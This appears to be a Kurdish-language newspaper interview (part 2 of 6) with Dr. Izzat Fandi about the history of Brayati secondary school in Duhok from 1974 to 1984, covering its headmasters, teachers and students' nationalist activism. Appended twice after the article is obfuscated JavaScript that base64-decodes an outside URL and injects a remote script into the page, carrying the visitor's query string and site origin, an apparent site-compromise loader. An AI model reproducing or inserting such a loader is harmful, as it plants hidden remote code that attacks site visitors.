د دەهـ سالێن ژیێ‌ خوە دا دواناڤنجی یا برایەتی هێلینا ئاڤاكرنا...

د دەهـ سالێن ژیێ‌ خوە دا دواناڤنجی یا برایەتی هێلینا ئاڤاكرنا شۆڕەشگێران بوو

36

دیدار، سالار محەمەد دۆسكی:

2-6

ل سالێن 1979- 1980- 1980 – 1981 برایەتی هەر ما دئاڤاهیێ‌ خوە دا و ل سالا 1981 – 1982ێ‌ ژ بەر چالاكیێن نەتەوەیێن قوتابیان، قوتابخانە هاتە ڤەگوهاستن بۆ ئاڤاهیێ‌ ئامادەیا (كاوە) یا نوكە دا كو بكەڤیتە ژێر پەرێ‌ ئەمنا دهۆكێ‌ یا وی سەردەمی، ل سالا 1982- 1983ێ‌ برایەتی هەر ل ئاڤاهیێ‌ (كاوە) ما و ل سالا 1983- 1984ێ‌ ب سالا داویێ‌ یا برایەتی دهێتـە هەژمارتن، ژیێ‌ برایەتی و هرە دڤێ‌ سالێ‌ دا هەر وەكی باشتر دهێتە دیاركرن رژێمێ‌ دەرگەهێ‌ ڤێ‌ دواناڤنجیێ‌ گرت و دای ب خواندنا زمانێ‌ كوردی ل دهوكێ‌ ئینا..
هەما قوتابیێ‌ برایەتی، د.عزەت فندی ئەو ژی گۆت: ب درێژاهی یا ژیێ‌ ڤێ‌ دواناڤنجیێ‌ ئەڤان مامۆستایێن هێژا رێڤەبەریا وێ‌ كریە( ئەلمان محەمەد سەعید نزاركی 6/11/1974 – 29/9/1975ێ‌ ، مەجید ئەحمەد عەبدولرحمان سالا 1975 – 1979، عەبدولحافز ئەنوەر مایی سالا 1979 – 1982ێ‌، عیسا محەمەد سالح عیس سالا 1982 – 1983 ، خەلیل ئیبراهیم عیس 1982 – 1984ێ‌، مستەفا عەلی بهارا سالا 1984ێ‌ بۆ ماوێ‌ دو سێ‌ هەیڤان و دوڤ دا برایەتی هاتە داخستن، د. عزەت فندی ئەو ژی ئاشكراكر كو ل دوڤ گۆتنا مامۆستا (ئەلمان) ئێكەم رێڤەبەرێ‌ ڤێ‌ دواناڤنجیێ‌ دەستەكا مامۆستایێن وی سەردەمی ژ ئەڤان كەسان پێك دهات، (وارتكێس موسێس، زمانێ‌ كوردی، عەبدوللا عەلی، عەرەبی، سەلاح ئەحمەد عەزیز، عەرەبی، عبدولكریم فندی، ئنگلیزی، پترس یوسف، ئنگلیزی، عابد سلێمان، ئنگلیزی، محەمەد ئاغا میر، كیمیا، شموئیل نیسان، زیندەوەر، سلاح سابر عەبدولحمید، كومەلایەتی، محەمەد سەدیق محەمەد تاهر بێتكاری، بیركاری، عادل حەسەن ئەلداودی، فیزیا، حوسام شێخ عوبیدولله، وەرزش، نەزیف گورگیش، مامۆستا ئەنترانیك، نیگار، سەعدوللا ئیبراهیم ئەحمەد نڤسەرێ‌ خواندنگەهێ‌.
د. عزەت فندی، ئێك ژ قوتابیێن دەسپێكا دروستبوونا دواناڤنجی یا برایەتی، ل دور ئەگەرێن پەیدابوونا هزارا نەتەوەیی بتایبەت ل ناڤ قوتابیێن برایەتی ئاشكراكر و گۆت: هەر وەكی ل دەسپێكێ‌ هاتیە دیاركرن خواندن بزمان نەتەوایەتی بیت پێگێریا مرۆڤی ل گەل مللەتی و دوزا رەوایا مللەتێ‌ مرۆڤی بهێزتر تێخیت و هەر ب ڤی رەنگی قوتابیێن برایەتی هەر ژ دەسپێكا ژیێ‌ خوە بزمانێ‌ باب و باپیران دخواند و هەر ل ڤێ‌ دەسپێكێ‌ هەست ب بوونا خوە یا كوردینیێ‌ كر و دەمێ‌ گەهشیتنە قوناغا ناڤنجی و دواناڤنجی ئەڤ هەستە ل جەم ئەوان قوتابیان مەزنتر بوو و سەرەرایی ڤێ‌ چەندێ ب هزرا مە چەندین ئەگەرێن دی بۆ هەبوون كو هزرا نەتەوەیی و شۆرەش گێریێ‌ دناڤ قوتابیێن برایەتی دا پەیداكەن وەك پالپشت بوون و رێ‌ خوشكەر بوون كو قوتابیێن برایەتی ب ئەڤان هزرا تێرو تژی ببن و ئەڤ چەندە ل باوان پەیدا ببیت. ل سالا 1974 – 1975 وەكی ناڤنجی یا برایەتی ل ئاڤاهیێ‌ پەیمانگەها هونەرێن جوان یا پێشتر، شۆرەشا ئیلۆنێ‌ دگەرمە گەرما خوە دا بوو و هەر چار كنارێن دهوكێ‌ پێشمەرگە بوون و رەبیە رادكرن و ئاڤاهیێ‌ پولیسێن دهوكێ‌ كو جهێ‌ پاركا نەوروز یا نوكە كو پارێزگـە بوو دا بەر گولێن ئارپیچیان و هەر وسا ل هەمان سال چەندین مامۆستایێن كورد پەروەر ژ خانەقین و مەندەلی نفی كرن دهوكێ‌ و باراپتر ل ناڤنجیا برایەتی دامەزراندن و سەرەرایی وێ‌ چەندێ‌ ل دەسپێكا بهارێ‌ چەندین مامۆستا و قوتابی و رێڤەبەرێ‌ ناڤنجی یا ئاشتی گەهشتنە ناڤ رێزێن شۆرەشێ‌ و چەندێن دی ل گەل مالێن خوە دەركەفتن و ژ دەوامێ‌ دیركەفتن و ئەڤە هەمی پالدەر و پشتەڤانی بوو كو هزرا نەتەوەیی دسەرێ‌ قوتابیان دا بهێتە چەسپاندن و نەخاسمە هەمی ل ژیێ‌ دوازدە و سێزدە و چاردە سالیێ‌ بوون و ل ئەڤی ژی مرۆڤ ب ئەڤان كاران داخبار دبیت و مەژیێ‌ مرۆڤی پێ‌ دهێتە ئاڤدان، ل سالا پاشتر 1975 – 1976 ئەو قوتابیێن گەهشتینە ناڤ رێزێن شۆرەشێ‌، ڤەگەریانە خواندنێ‌ و برنە رێزەكا نزمتر و نەهێلن ل گەل ەڤالێن خوە و دەوامێ‌ بكەن چونكە ئەو سالا دناڤا شۆرەشێ‌ بوو نەهاتە هەژمارتن و سەرەرایی دەنگ و باسێن شۆرشێ‌ و دەرس و خواندنا وان و بزاڤ و پێشمەرگەی ژی ب هزرا مە ئەڤە ژی كاریگەریەكا گەلەك مەزن بوو دناڤا قوتابیێن برایەتی دا، خرڤەبوون و دامەزراندنا گەلەك مامۆستایێن كورد پەروەر و رەوشەنبیر و ئەدیب ل ناڤنجی یا برایەتی كو رۆلێ‌ وان نەهاتیە ژبیركرن و پشت گوهـ هاڤێت كو براستی رۆلەكێ‌ ئێكجار زور گرنگ هەبوو دپەرودەكرن و ئاڤاكرنا قوتابیێ‌ برایەتی دا، شكەستنا شۆرەشێ‌ و سەرهلدانا وێ‌ ل سالا 1976ێ‌ و پەیدابوونا مەفرەزێن پێشمەرگەیێ‌ گولانێ‌ و دیسا دەور و رۆلەێ‌ مەزن ەبوو، دبزاڤ و چالاككرنا قوتابیێن برایەتی دا، سەرەرایی هندێ‌ كو دەنگ و باس دهاتنە ڤەگوهاستن و هێدی هێدی ئێزگێ‌ دەنگێ‌ كوردستان زەلالتر و خوشتر لێ‌ دهات و باراپترا قوتابیان گوهـ لێدگرت و دەنگ و باسێن وێ‌ ڤە دگوهاستن، رێكخستنێن نهێنیێن پارتی هێدی هێدی بەلاڤبوون و تەڤنێ‌ وان گەهشتە ناڤ رێزێن قوتابیێن براەتی كو ئەڤە سەردەم و ئەگەرەكا بهێز بوو بۆ هزرا نەتەوەیی و كوردینیێ‌ و پێشڤەبرنا رۆلێ‌ قوتابیێن برایەتی، دەستەكا بەراهیێ‌ یا قوتابیێن برایەتی ژی هەمی قوتابیێن كورد پەروەر و زیرەك و رەوشەنبیری و باراپترا وان دناڤا رێكخستیێن نهێنی كار دكر و كتا مای ژی دلژن ئێكەتیا قوتابیێن كوردستانێ‌ دا بوون و كارێ‌ ئێك دوو تەمام دكرو هەتا رادەكێ‌ باش ئاگەهـ ژ ئێك دو هەبوو، زێدەباری ڤان ئەگەرێن مە گۆتین خواندن ژی ل برایەتی ئێك ژ ئەگەر و بنەمایێن هەرە گرنگ بوو دپەروەردەكرنا قوتابیان دا كو براستی ژ هەمی ئامادەیێن دهۆكێ‌ یێن جودا بوون بۆ كوردی و زانین و خواندنێ‌ و پێشڤەبرن هزرا نەتەوەیی، ڤەژاندنا تایێ‌ دهوكێ‌ یێ‌ ئێكەتیا نڤیسەرێن كورد سمینارێن وان كو قوتابیێن برایەتی ستوینا پشتا جەماوەری بوو بۆ ئامادەبووونێ‌ و بەلاڤكرنا هزرا نەتەوەیی و رەوشەنبیری و نەتەوەیی و براستی رۆلێ‌ نڤیسەران وی دەمی ناهێنـە ژبیركرن و پشتگوهـ خستن، ب هزرا مە ئەڤە ئەگەرێن گرنگ بوون كو قوتابیێن برایەتی دڤی بیاڤی دا سەرهلدەن و شین ببن و هەمی رێخوشكەربوون ناڤێ‌( برایەتی) دەنگ ڤەدەت و قوتابیان ب خوپێشاندانا رابن و لەرزكێ‌ بێخنە لێڤا دوژمنی وەل سیخورێن وا بكەن سپێدێ‌ هەتا ئێڤاری ئاڤاهیێ‌ برایەتی چەرخابدەن و داخازا ناسنامێن وا بكەن و ل گەلەك جهان دویرستن دویر راگرتن و نەهێلێن بزاڤێ‌ بكەن و ل گەلەك ئاهەنگان ل بن چاڤدێری یا وان دا بكەن، بۆ پتر دیاركرنا رۆلێ‌ گەشێ‌ ستێرا گەشا برایەتی دێ‌ چەند تەوەرەكان دا قوتابیێن برایەتی بەرچاڤ بكەین، لێ‌ ژبیر نەكەین چالاكیا ژ هەمیا پێش چاڤتر هاندان بۆ زمانێ‌ كوردی بوو، بزاڤێن رەوشەنبیری ل (برایەتی ) ل سەر چەند تەوەران دهێنە بەلاڤەكرن، تەوەرێ‌ ئێكێ‌ چێكرن و نڤێسینا و هەلاویستنا بەلاڤووكێن دیواری كو براستی قوتابیێن (برایەتی) هەر ژ دەسپێكێ‌ هەتا ڤێ‌ دووماهیێ‌ كارەكێ‌ مەزن و باش بۆ وی دەمی پێشكێشكر و چەندین سالا بەردەوامی ژی دایێ‌، یا ئاهەنگێن( برایەتی) بیرەوەریێن نشیمانی و نەتەوەیی كو وانژی دەنگڤەدانەكا باش هەبوو و ل ناڤ قوتابخانێ‌ و جەماوەرێ‌ دهوكێ‌ دپێگوتی و بەر بەلاڤ بوون، یان پشكداری یا قوتابیێن برایەتی دهەلكەفتێن رەوشەنبیری و یێن وی دەمی دا وەكی وان فیستەڤال و سمینارێن دهاتنە كرن یان بەرهەڤی ئامادەبوونا وان رەنەگەكێ‌ كاریگەر پێش چاڤ دوان هەلكەفتادا، ل سەر تەوەرێ ئێكێ‌، و مە دشیاندا هەیی ئەم گەهشتینە ڤان ئەنجامێن خوارێ‌، ل سالا خواندنێ‌ یا 1974- 1975 ئێكەمین بەلاڤوكا دیواری بناڤێ‌ (رۆناهی) و ب سەرپەرشتیا من بوویە (عزەت فندی) و ب سەرپەرشتیا مامۆستا (وارتكێس موسیس) پشتی نیڤا سالێ‌ هاتە هەلاویستن و چەندیند بابەتێن ەوشەنبیری ژ بەلاڤوك گوڤار و رۆژنامێن كوردی بوو هات بوونە ئامادەكرن .(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

کۆمێنتا تە